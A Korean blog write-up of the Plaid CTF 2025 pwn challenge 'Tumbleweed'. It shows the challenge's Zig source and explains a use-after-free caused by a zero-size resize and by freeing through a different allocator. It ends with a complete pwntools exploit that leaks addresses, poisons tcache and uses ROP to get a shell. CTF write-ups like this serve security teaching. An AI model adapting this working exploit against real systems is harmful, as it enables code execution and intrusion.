Link
Notice
Recent Posts
Recent Comments
«   2026/07   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

hiariz 님의 블로그

[Plaid CTF 2025] Tumbleweed 본문

CTF, Wargame

[Plaid CTF 2025] Tumbleweed

hiariz 2026. 2. 3. 01:33
 

Plaid CTF 2025

 

plaidctf.com

 

문제에서 주어진 소스코드는 다음과 같습니다.

// zig version: 0.14.0
// zig build-exe tumbleweed.zig -lc -OReleaseFast
const std = @import("std");

const stdout = std.io.getStdOut().writer();
const stdin = std.io.getStdIn();
const reader = stdin.reader();

var fba_buf: [128]u8 = undefined;
var fba: std.heap.FixedBufferAllocator = undefined;

var tumbleweed_incubators: [16]?[]u8 = undefined;
var heaps: [4]std.mem.Allocator = undefined;
var burn_count = [4]u8{ 0, 0, 0, 0 };

const technical_difficulty = error.FileNotFound;

fn readNonNegativeInt(upper_limit: isize) !usize {
    var full_buf: [16]u8 = undefined;
    const buf = try reader.readUntilDelimiterOrEof(&full_buf, '\n');

    const input = std.mem.trimRight(u8, buf.?, "\n");

    const parsed_input = std.fmt.parseUnsigned(usize, input, 10) catch {
        try stdout.print("Invalid number.\n", .{});
        return technical_difficulty;
    };

    if (upper_limit <= 0 or parsed_input < upper_limit) {
        return parsed_input;
    } else {
        return technical_difficulty;
    }
}

fn welcome() !void {
    try stdout.print("Welcome to Tumbleweed Inc.!\n", .{});
    try stdout.print("Your job is to make heaps of tumbleweeds, burn some of them, and\n", .{});
    try stdout.print("send those burning fireballs across different heaps to annoy people!\n", .{});
    try stdout.print("Though, you can only set so many of them on fire on each heap before\n", .{});
    try stdout.print("people notice and stop you. Well then, have fun!\n\n", .{});
}

fn printOptions() !void {
    try stdout.print("\nOptions\n", .{});
    try stdout.print("[0] Grow a tumbleweed\n", .{});
    try stdout.print("[1] Set a tumbleweed on fire\n", .{});
    try stdout.print("[2] Inspect a tumbleweed\n", .{});
    try stdout.print("[3] Trim or feed a tumbleweed\n", .{});
    try stdout.print("[4] Give up\n", .{});
    try stdout.print("> ", .{});
}

fn chooseHeap() !usize {
    try stdout.print("Choose heap:\n", .{});
    try stdout.print("[0] C\n", .{});
    try stdout.print("[1] Page\n", .{});
    try stdout.print("[2] SMP\n", .{});
    try stdout.print("[3] Fixed Buffer\n", .{});
    try stdout.print("> ", .{});

    return try readNonNegativeInt(heaps.len);
}

fn grow() !void {
    var idx: usize = undefined;
    var size: usize = undefined;

    try stdout.print("Which incubator? ", .{});
    idx = readNonNegativeInt(tumbleweed_incubators.len) catch {
        try stdout.print("Invalid index!\n", .{});
        return technical_difficulty;
    };

    try stdout.print("Size? ", .{});
    size = readNonNegativeInt(0) catch {
        try stdout.print("Invalid size!\n", .{});
        return technical_difficulty;
    };

    const heap_idx = chooseHeap() catch {
        try stdout.print("Invalid heap choice!\n", .{});
        return technical_difficulty;
    };
    tumbleweed_incubators[idx] = try heaps[heap_idx].alloc(u8, size);

    try stdout.print("Label: ", .{});
    _ = try reader.readUntilDelimiterOrEof(tumbleweed_incubators[idx].?, '\n');
}

fn burn() !void {
    var idx: usize = undefined;

    try stdout.print("Which incubator? ", .{});
    idx = readNonNegativeInt(tumbleweed_incubators.len) catch {
        try stdout.print("Invalid index!\n", .{});
        return technical_difficulty;
    };

    const heap_idx = chooseHeap() catch {
        try stdout.print("Invalid heap choice!\n", .{});
        return technical_difficulty;
    };

    if (burn_count[heap_idx] < 2) {
        burn_count[heap_idx] += 1;
        heaps[heap_idx].free(tumbleweed_incubators[idx].?);
        tumbleweed_incubators[idx] = null;
    }
}

fn inspect() !void {
    var idx: usize = undefined;

    try stdout.print("Which incubator? ", .{});
    idx = readNonNegativeInt(tumbleweed_incubators.len) catch {
        try stdout.print("Invalid index!\n", .{});
        return technical_difficulty;
    };

    try stdout.print("{s}\n", .{tumbleweed_incubators[idx].?});
}

fn resize() !void {
    var idx: usize = undefined;
    var new_size: usize = undefined;

    try stdout.print("Which incubator? ", .{});
    idx = readNonNegativeInt(tumbleweed_incubators.len) catch {
        try stdout.print("Invalid index!\n", .{});
        return technical_difficulty;
    };

    try stdout.print("Target size: ", .{});
    new_size = readNonNegativeInt(0) catch {
        try stdout.print("Invalid size!\n", .{});
        return technical_difficulty;
    };

    const heap_idx = chooseHeap() catch {
        try stdout.print("Invalid heap choice!\n", .{});
        return technical_difficulty;
    };

    if (heaps[heap_idx].resize(tumbleweed_incubators[idx].?, new_size)) {
        try stdout.print("Resize success!\n", .{});
    } else {
        try stdout.print("Resize failed!\n", .{});
    }
}

pub fn main() !void {
    try welcome();

    heaps[0] = std.heap.c_allocator;
    heaps[1] = std.heap.page_allocator;
    heaps[2] = std.heap.smp_allocator;
    fba = std.heap.FixedBufferAllocator.init(&fba_buf);
    heaps[3] = fba.allocator();

    var choice: usize = undefined;

    while (true) {
        try printOptions();

        choice = readNonNegativeInt(5) catch {
            try stdout.print("Invalid choice!\n", .{});
            continue;
        };

        try switch (choice) {
            0 => grow(),
            1 => burn(),
            2 => inspect(),
            3 => resize(),
            else => break,
        };
    }
}

 

 

문제는 grow, burn, inspect, resize 4개의 함수를 지원하고 grow에선 메모리 할당, burn은 free, inspect는 메모리 read, resize는 할당 받은 메모리에 대해 사이즈 변경이 가능합니다.

 

그리고 heap 메모리에 대해서 C, Page, SMP, FixedBuffer라는 4가지 종류의 allocator를 사용할 수 있도록 구현되어 있습니다.

여기서 FixedBuffer는 전역 변수로 선언된 버퍼를 사용합니다. 

 

문제가 되는 코드들을 살펴보겠습니다.

fn resize() !void {
    var idx: usize = undefined;
    var new_size: usize = undefined;

    try stdout.print("Which incubator? ", .{});
    idx = readNonNegativeInt(tumbleweed_incubators.len) catch {
        try stdout.print("Invalid index!\n", .{});
        return technical_difficulty;
    };

    try stdout.print("Target size: ", .{});
    new_size = readNonNegativeInt(0) catch {
        try stdout.print("Invalid size!\n", .{});
        return technical_difficulty;
    };

    const heap_idx = chooseHeap() catch {
        try stdout.print("Invalid heap choice!\n", .{});
        return technical_difficulty;
    };

    if (heaps[heap_idx].resize(tumbleweed_incubators[idx].?, new_size)) {
        try stdout.print("Resize success!\n", .{});
    } else {
        try stdout.print("Resize failed!\n", .{});
    }
}

 

먼저 취약점들은 resize 함수에 존재합니다. resize 함수에선 사용자로부터 사이즈를 변경할 인덱스와 어떤 사이즈 값으로 변결할 것인지를 받습니다.

 

이때 살펴보면 음수 값에 대한 검증은 존재하지만 0을 입력했을 때 대한 검증은 이루어지지 않습니다. 사이즈를 0으로 바꾸게되면 생성되었던 청크의 사이즈가 0이 되어 free가 이루어지게 됩니다. 이를 이용해 libc 주소를 릭할 수 있습니다.

unsorted bin 청크가 생성된 모습

 

그리고 free가 진행되더라도 해당 주소에 저장되어있던 데이터는 그대로 남게되여 UAF 취약점이 발생하게 됩니다.

 

또한 이 부분에서 다른 타입에 대한 allocator의 free를 사용할 수 있게됩니다. 

 

다음 중요한 부분은 FixBuffer를 사용하게 되는 경우인데 해당 버퍼를 쓰게 되는 경우, bss영역에 데이터가 작성됩니다.

 

이때 FixBuffer 영역에 fake chunk를 구성하고 resize 함수를 통해 C allocator를 사용하게 되면 해당 bss영역이 C의 heap 메모리로 포함되게 됩니다.

 

따라서 이렇게 구성된 fake chunk의 fd 부분에 원하는 주소 값을 덮어쓰면 임의 주소에 우리가 원하는 값을 작성할 수 있습니다.

 

여기서 전역변수 버퍼가 존재하므로 environ 주소 값을 통해 위의 취약점을 이용하여 스택 주소를 릭 한 후 다시 fake chunk를 이용하여 ROP를 진행하면 셸을 얻을 수 있습니다.

 

최종 익스플로잇 코드는 다음과 같습니다.

from pwn import *

r = process('./tumbleweed')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = 'debug'
gdb.attach(r)

def grow(idx, size, heap, data):
    r.sendlineafter(b'> ', b'0')
    r.sendlineafter(b'? ', str(idx).encode())
    r.sendlineafter(b'? ', str(size).encode())
    r.sendlineafter(b'> ', str(heap).encode())
    r.sendlineafter(b': ', data)

def burn(idx, heap):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b'? ', str(idx).encode())
    r.sendlineafter(b'> ', str(heap).encode())

def inspect(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'? ', str(idx).encode())

def resize(idx, size, heap):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b'? ', str(idx).encode())
    r.sendlineafter(b': ', str(size).encode())
    r.sendlineafter(b'> ', str(heap).encode())

grow(0, 0x500, 0, b'A'*0x20)
grow(1, 0x20, 0, b'B'*0x10)
resize(0, 0, 0)

inspect(0)
libc_base = u64(r.recv(6) + b"\x00\x00") - 0x21ace0
log.success(f"libc_base = {hex(libc_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(system))
print(hex(binsh))

resize(1, 0, 0)
inspect(1)
heap_base = u64(r.recv(3) + b"\x00\x00\x00\x00\x00") << 12
log.success(f"heap_base = {hex(heap_base)}")

grow(5, 0x48, 0, b"X"*0x8)
resize(5, 0, 0)
grow(2, 25, 3, b"\x00"*8 + p64(0) + (p64(0x51)))
resize(2, 24, 3)
grow(3, 0x40, 3, b"C"*8)
resize(3, 0, 0)
resize(3, 0, 3)

#fake chunk1
pos = 0x10083e0      
target = 0x10082d0   
grow(4, 0x20, 3, p64((target) ^ (pos>>12)))
print(hex((target) ^ (pos>>12)))
grow(6, 0x48, 0, b"Y"*8)
grow(7, 0x48, 0, p64(0x420) + p64(0x1008470))

inspect(1)
environ = u64(r.recv(6) + b"\x00\x00")
ret = environ - 0x120
log.success(f"environ: {hex(environ)}")
log.success(f"ret: {hex(ret)}")

grow(8, 0x48, 0, b"Z"*8)
resize(8, 0, 0)
resize(3, 0, 0)
resize(4, 0, 3)

#fake chunk2
ret_aligned = ret - 0x8
pos = 0x10083e0
encrypted_ret = ret_aligned ^ (pos >> 12)
print(hex(encrypted_ret))
grow(8, 0x10, 3, p64(encrypted_ret))
grow(10, 0x48, 0, b"A"*8)

#ROP
pop_rdi = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols["system"]
grow(11, 0x48, 0, b"A"*8 + p64(pop_rdi + 1) + p64(pop_rdi) + p64(binsh) + p64(system))
r.sendline(b"4")

r.interactive()

 

'CTF, Wargame' 카테고리의 다른 글

[Plaid CTF 2025] ocalc  (1) 2026.02.21
[Plaid CTF 2025] Bounty Board  (0) 2026.02.13
[Dreamhack] object Object  (0) 2025.12.30
[Dreamhack] Magnus Carlsen  (0) 2025.12.27
[2025 ACS] deep_dive  (0) 2025.11.19